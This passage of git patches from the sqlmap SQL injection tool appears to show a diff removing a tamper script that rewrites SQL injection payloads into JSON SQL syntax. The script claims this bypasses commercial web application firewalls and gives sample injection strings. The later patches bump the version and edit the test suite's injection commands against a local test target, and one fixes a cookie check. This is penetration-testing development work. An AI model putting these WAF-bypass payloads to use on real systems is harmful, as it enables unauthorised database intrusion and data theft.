-	if random.randint(0, 1):
-		return generate_str_payload()
-	return generate_int_payload()
-
-
-def tamper(payload, **kwargs):
-	"""
-        
-    Bypasses generic WAFs using JSON SQL Syntax. 
-
-    For more details about JSON in SQLite - https://www.sqlite.org/json1.html
-
-    Tested against:
-        * SQLite v3.39.4 - however every version after v3.38.0 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_sqlite.py
-
-    Notes:
-
-    	* References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-			1) JSON_LENGTH()
-			2) json_depth
-			3) JSON_EXTRACT()
-			3) JSON_EXTRACT operator
-
-        Possible STR payloads:
-			2) JSON_EXTRACT
-			2) JSON_EXTRACT Operator
-			3) JSON_QUOTE('null')
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" '''
-    >>> tamper('and 4515=8950')
-    '''  and JSON_ARRAY_LENGTH("[]") <= 9100 '''
-    """
-	retVal = payload
-
-	if payload:
-		match = re.search(pattern, payload)
-
-		if match:
-			pre = match.group('pre')
-
-			# Is our payload is a string.
-			isString = pre.startswith("'")
-			isBrackets = pre.startswith("')") or pre.startswith(")")
-			wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-			retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-		else:
-
-			if payload.lower().startswith("' union"):
-				wafPayload = generate_random_payload()
-				retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-	return retVal

From 6e3eaca54751e50bbd11572f1059c811cc0d5f23 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Fri, 23 Dec 2022 16:24:41 +0100
Subject: [PATCH 13/14] Minor update of testing stuff

---
 .github/workflows/tests.yml | 2 +-
 lib/core/settings.py        | 2 +-
 lib/core/testing.py         | 6 +++---
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml
index acb3cacae..674ae2a00 100644
--- a/.github/workflows/tests.yml
+++ b/.github/workflows/tests.yml
@@ -10,7 +10,7 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macos-latest, windows-latest]
-        python-version: [ '2.x', '3.10', 'pypy-2.7', 'pypy-3.7' ]
+        python-version: [ '2.x', '3.11', 'pypy-2.7', 'pypy-3.7' ]
     steps:
       - uses: actions/checkout@v2
       - name: Set up Python
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 7e034673f..7a033e8a7 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from thirdparty import six
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.6.12.9"
+VERSION = "1.6.12.10"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/core/testing.py b/lib/core/testing.py
index 0514b71e3..96b93ee53 100644
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -58,9 +58,9 @@ def vulnTest():
         ("-u  --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
         ("-u  --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
         ("-u  --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
-        ("-u  --flush-session --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
+        ("-u  --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
         ("-u  --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload:  --flush-session --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
+        ("-u  --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
         ("-u  --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
         ("-u  --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
         ("-u  --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
@@ -69,7 +69,7 @@ def vulnTest():
         ("-u  --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
         ("-u  --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
         ("-u  --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
-        ("-u  --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
+        ("-u  --flush-session --technique=BU --all", ("5 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
         ("-u  -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
         ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
         ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),

From 216565fb05166d4bcf80b35a4f8f381e9f6b3d08 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Wed, 28 Dec 2022 16:35:26 +0100
Subject: [PATCH 14/14] Fixes #5275

---
 lib/core/settings.py | 2 +-
 lib/request/basic.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 7a033e8a7..ad6ed8453 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from thirdparty import six
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.6.12.10"
+VERSION = "1.6.12.11"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/request/basic.py b/lib/request/basic.py
index 37ae92d0c..d865575e1 100644
--- a/lib/request/basic.py
+++ b/lib/request/basic.py
@@ -108,7 +108,7 @@ def forgeHeaders(items=None, base=None):
     if conf.cj:
         if HTTP_HEADER.COOKIE in headers:
             for cookie in conf.cj:
-                if cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain):
+                if cookie is None or cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain):
                     continue
 
                 if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]):